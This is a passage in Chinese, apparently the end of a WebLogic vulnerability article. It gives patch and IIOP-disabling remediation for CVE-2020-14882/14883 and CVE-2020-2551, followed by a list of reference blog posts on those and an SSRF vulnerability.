8、CVE-2020-14882 | CVE-2020-14883
升級補丁
官方補丁:
https://www.oracle.com/security-alerts/cpuoct2020traditional.html
9、CVE-2020-2551
通過 weblogic 控制臺進行關閉 IIOP 協議,然后重新啟動 weblogic服務。
安裝 weblogic 修復補丁,進行修復。
七、參考
weblogic SSRF漏洞(CVE-2014-4210)檢測利用tdcoming’blog-CSDN博客cve-2014-4210
Weblogic SSRF漏洞復現(CVE-2014-4210)-Linux實驗室 (wanyunshuju.com)
CVE-2020-14882&CVE-2020-14883 Weblogic未授權遠程命令執行漏洞 - 只言 - 博客園 (cnblogs.com)
從0學習WebLogic CVE-2020-2551漏洞 - 先知社區 (aliyun.com)